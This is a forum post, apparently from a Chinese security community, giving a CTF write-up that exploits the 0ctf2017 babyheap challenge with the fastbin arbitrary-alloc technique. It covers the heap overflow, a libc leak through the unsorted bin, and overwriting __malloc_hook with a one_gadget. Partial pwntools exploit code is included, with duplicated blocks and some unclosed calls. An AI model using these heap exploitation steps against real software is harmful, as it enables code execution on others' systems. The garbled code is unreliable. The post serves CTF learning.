首页
社区
课程
招聘
[原创]Pwn堆利用学习——Fastbin-Arbitrary Alloc——0ctf2017-babyheap
发表于: 2021-6-23 15:55 14243

[原创]Pwn堆利用学习——Fastbin-Arbitrary Alloc——0ctf2017-babyheap

2021-6-23 15:55
14243

Alloc to Stack在将chunk分配到栈上时需要栈上对应位置有合法的size,这样才能将堆内存分配到栈中,从而控制栈中的任意内存地址。而Arbitrary Alloc和Alloc to Stack基本上完全相同,但是控制的内存地址不在仅仅局限于栈,而是任意的内存地址,比如说bss、heap、data、stack等等。

实验环境:

image.png

​ 为方便理解,根据菜单函数把switch里面的函数改名,然后根据函数内容及函数功能将相应的函数和变量改名:

image.png

初始化,返回结构体初始地址

image

image.png

当某个baby结构体的flag为false时,才会进行添加。

calloc与malloc的区别:calloc会设置分配的内存为0。

结构如下图所示,将每个baby对应的chunk命名为babychunk

image-20210622150532385

image.png

这个size可以随意大,存在堆溢出漏洞。

image-20210622172744443

image-20210622172339342

image.png

image

漏洞点:

可输入的点:

大概思路:

用arbitrary alloc,将chunk分配到__malloc_hook附近,使得__malloc_hook在chunk的user data部分,那么通过Fill选项就能将其覆盖为rop链的地址了,最后再调用一个malloc就能执行rop链以getshell

1.泄漏libc基址,为了覆盖__malloc_hook为rop链的地址

2.arbitrary alloc,分配chunk在__malloc_hook处

完整的过程如下gif所示,每个步骤的变化都通过颜色改变来体现。

babyheap2017

1) malloc 4个fastbin的chunk、1个smallbin的chunk,然后依次free babychunk2和babychunk1。

于是,fastbin中变为了fastbin[0] -> babychunk1 -> babychunk2 <- 0x0,而babys结构体数组中baby1和baby2的flag和size都被置为0,content指针也被置为NULL。

64位程序fastbin的chunk大小为0x20-0x80

image-20210622141014888

2)分别往babychunk0和babychunk3填充数据。

image-20210622141406413

3)将之前置为空的两个baby结构体baby1和baby2重新填充数据,并分配两个0x10大小的babychunk。

image-20210622143702653

4)溢出填充babychunk3,将babychunk4的size覆盖回0x90。

image-20210622145855474

5)分配一个新的0x90大小的babychunk5,目的是为了防止紧接着free的babychunk4和top chunk合并。然后free babychunk4使得babychun4进入unsortedbin,此时babychunk4的fd和bk都指向(main_arena+88)。

image-20210622150237168

6)利用dump选项泄漏babychunk4的fd(main_arena+88),计算libc基址。

image-20210622195719265

以前遇到要查看距离libc基址偏移的情况,我是和看雪-mb_uvhwamsn-babyheap一样用ida去查看,但是从看雪-yichen115-babyheap看到一个计算main_arena距离libc偏移的工具:https://github.com/bash-c/main_arena_offset。

image-20210622195953244

接下来是想办法将chunk分配到__malloc_hook附近,使得__malloc_hook在chunk的user data里,从而可以通过Fill选项将其修改为rop链的地址。

1)首先查看__malloc_hook附近的情况。

如文章开头所说,arbitrary alloc需要在要分配chunk的地方提前有合适的size,因为从fastbin里malloc一个chunk的时候会检查这个chunk的size是否符合大小要求。可以看到__malloc_hook附近有一些0x7f,如果能够通过错位让0x7f变成 size 的话就能通过检查,对应的user data大小为0x60。

根据chunk的size计算其在fastbin数组中index的宏如下所示:

#define fastbin_index(sz) ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

那么,64位程序:0x7f/16-2=5。所以0x7f对应的fastbin单链表要求的size为0x70,user data部分的size为0x60。

image-20210622211429015

2)在fastbin中准备一个0x70大小的chunk,以修改其fd。

allocate(0x60)会重新启动baby4,并malloc一个0x70大小的chunk。malloc的时候会将unsortedbin里0x90大小的chunk分为两部分:0x70和0x20,然后将0x70大小的chunk分配给baby4的content指针。

free(4)又会清空baby4并free刚刚malloc的0x70大小的chunk,但是由于0x70是fastbin的大小范围内,所以此时是将其放到fastbin中去了。

image-20210622221216586

此时各个部分的情况如下图所示:

image-20210623094002249

3)确定要在__malloc_hook附近分配的chunk的地址:&main_arena-0x2b-0x8

image-20210623092303510

4)由于此时baby2的content指针还指向babychunk4(这个地址也是分割free之后放在fastbin里的chunk的地址),因此通过Fill(2)可往这个0x70大小的chunk的fd填充&main_arena-0x2b-0x8。然后再进行两次allocate(0x60),就可以将chunk分配到我们想要的&main_arena-0x2b-0x8。

image-20210623100238234

5)利用one_gadget工具找一个rop链

一段时间没用one_gadget,发现报错:( ,undefined method 'unpack1' ,解决方法:https://bbs.pediy.com/thread-265011.htm

另:用ruby-install 安装ruby2.6时,总是报错,然后我用proxychains4走主机的代理进行安装,可还是报错,但是此时已经下载了相关文件,接着不走代理重新执行一遍安装命令就安装成功了。

image-20210623105400210

6)将__malloc_hook修改为rop链,并触发__malloc_hook函数。

one_gadget的地址需要一个一个试一下,当前环境是第二个地址成功了。

image-20210623110301689

ctf-wiki-arbitrary-alloc

ctf-wiki-babyheap

$ file 0ctf2017babyheap
0ctf2017babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped
$ checksec --file=0ctf2017babyheap
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols    No    0       2       0ctf2017babyheap
$ file 0ctf2017babyheap
0ctf2017babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped
$ checksec --file=0ctf2017babyheap
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols    No    0       2       0ctf2017babyheap
 
struct baby{
  __int64 flag;
  __int64 size;
  char *content;
}
struct baby{
  __int64 flag;
  __int64 size;
  char *content;
}
 
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
        if path == '':
                libc = LibcSearcher(func, leak)
                base = leak - libc.dump(func)
                system = base + libc.dump('system')
                binsh = base + libc.dump('str_bin_sh')
        else:
                libc = ELF(path)
                base = leak - libc.sym[func]
                system = base + libc.sym['system']
                binsh = base + libc.search('/bin/sh').next()
 
        return (base, system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './0ctf2017babyheap'
context.binary = binary
elf = ELF(binary,checksec=False)
#p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
 
def dbg():
        gdb.attach(p)
        pause()
 
def allocate(size):
    ru('Command: ')
    sl('1')
    ru('Size: ')
    sl(str(size))
 
def fill(idx, size, content):
    ru('Command: ')
    sl('2')
    ru('Index: ')
    sl(str(idx))
    ru('Size: ')
    sl(str(size))
    ru('Content: ')
    s(content)
 
def free(idx):
    ru('Command: ')
    sl('3')
    ru('Index: ')
    sl(str(idx))
 
def dump(idx):
    ru('Command: ')
    sl('4')
    ru('Index: ')
    sl(str(idx))
 
p.interactive()
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
        if path == '':
                libc = LibcSearcher(func, leak)
                base = leak - libc.dump(func)
                system = base + libc.dump('system')
                binsh = base + libc.dump('str_bin_sh')
        else:
                libc = ELF(path)
                base = leak - libc.sym[func]
                system = base + libc.sym['system']
                binsh = base + libc.search('/bin/sh').next()
 
        return (base, system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './0ctf2017babyheap'
context.binary = binary
elf = ELF(binary,checksec=False)
#p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
 
def dbg():
        gdb.attach(p)
        pause()
 
def allocate(size):
    ru('Command: ')
    sl('1')
    ru('Size: ')
    sl(str(size))
 
def fill(idx, size, content):
    ru('Command: ')
    sl('2')
    ru('Index: ')
    sl(str(idx))
    ru('Size: ')
    sl(str(size))
    ru('Content: ')
    s(content)
 
def free(idx):
    ru('Command: ')
    sl('3')
    ru('Index: ')
    sl(str(idx))
 
def dump(idx):
    ru('Command: ')
    sl('4')
    ru('Index: ')
    sl(str(idx))
 
p.interactive()
 
 
 
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80) # small bin
 
free(2)
free(1)
dbg()
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80) # small bin
 
free(2)
free(1)
dbg()
 
payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
fill(0, len(payload), payload)
payload = 0x10 * 'a' + p64(0) + p64(0x21)
fill(3, len(payload), payload)
dbg()
payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
fill(0, len(payload), payload)
payload = 0x10 * 'a' + p64(0) + p64(0x21)
fill(3, len(payload), payload)
dbg()
 
allocate(0x10)
allocate(0x10
dbg()
allocate(0x10)
allocate(0x10
dbg()
 
payload = 0x10 * 'a' + p64(0) + p64(0x91)
fill(3, len(payload), payload)
dbg()
payload = 0x10 * 'a' + p64(0) + p64(0x91)
fill(3, len(payload), payload)
dbg()
 
allocate(0x80
free(4)
dbg()
allocate(0x80
free(4)
dbg()
 
def offset_bin_main_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4  # lock
    offset += 4  # flags
    offset += word_bytes * 10  # offset fastbin
    offset += word_bytes * 2  # top,last_remainder
    offset += idx * 2 * word_bytes  # idx
    offset -= word_bytes * 2  # bin overlap
    return offset
 
dump(2)
ru('Content: \n')
unsortedbin_addr = u64(r(8))
offset_unsortedbin_main_arena = offset_bin_main_arena(0)
main_arena = unsortedbin_addr - offset_unsortedbin_main_arena
leak('main arena addr', main_arena)
main_arena_offset = 0x3c4b20
libc_base = main_arena - main_arena_offset
leak('libc base addr', libc_base)
dbg()
def offset_bin_main_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4  # lock
    offset += 4  # flags
    offset += word_bytes * 10  # offset fastbin
    offset += word_bytes * 2  # top,last_remainder
    offset += idx * 2 * word_bytes  # idx
    offset -= word_bytes * 2  # bin overlap
    return offset
 
dump(2)
ru('Content: \n')
unsortedbin_addr = u64(r(8))
offset_unsortedbin_main_arena = offset_bin_main_arena(0)
main_arena = unsortedbin_addr - offset_unsortedbin_main_arena
leak('main arena addr', main_arena)
main_arena_offset = 0x3c4b20
libc_base = main_arena - main_arena_offset
leak('libc base addr', libc_base)
dbg()
 
 
 
 
allocate(0x60)
free(4)
dbg()
allocate(0x60)
free(4)
dbg()
 
 
 
 
 
fake_chunk_addr = main_arena - 0x2b
fake_chunk = p64(fake_chunk_addr)
fill(2, len(fake_chunk), fake_chunk)
 
allocate(0x60
allocate(0x60)
dbg()
fake_chunk_addr = main_arena - 0x2b
fake_chunk = p64(fake_chunk_addr)
fill(2, len(fake_chunk), fake_chunk)

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2021-6-24 15:49 被ztree编辑 ,原因: 不知为什么gif变得不完整,重新编辑
上传的附件:
收藏
免费 6
支持
分享
最新回复 (3)
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2

 这个动画做的好,请问怎么做的?


2021-7-3 20:26
0
雪    币: 10984
活跃值: (7768)
能力值: ( LV12,RANK:370 )
在线值:
发帖
回帖
粉丝
3
jiejiee &nbsp;这个动画做的好,请问怎么做的?
keynote导出为gif
2021-7-4 10:28
0
雪    币: 4168
活跃值: (15932)
能力值: ( LV9,RANK:710 )
在线值:
发帖
回帖
粉丝
4
支持
2021-7-4 14:48
0
游客
登录 | 注册 方可回帖
返回
//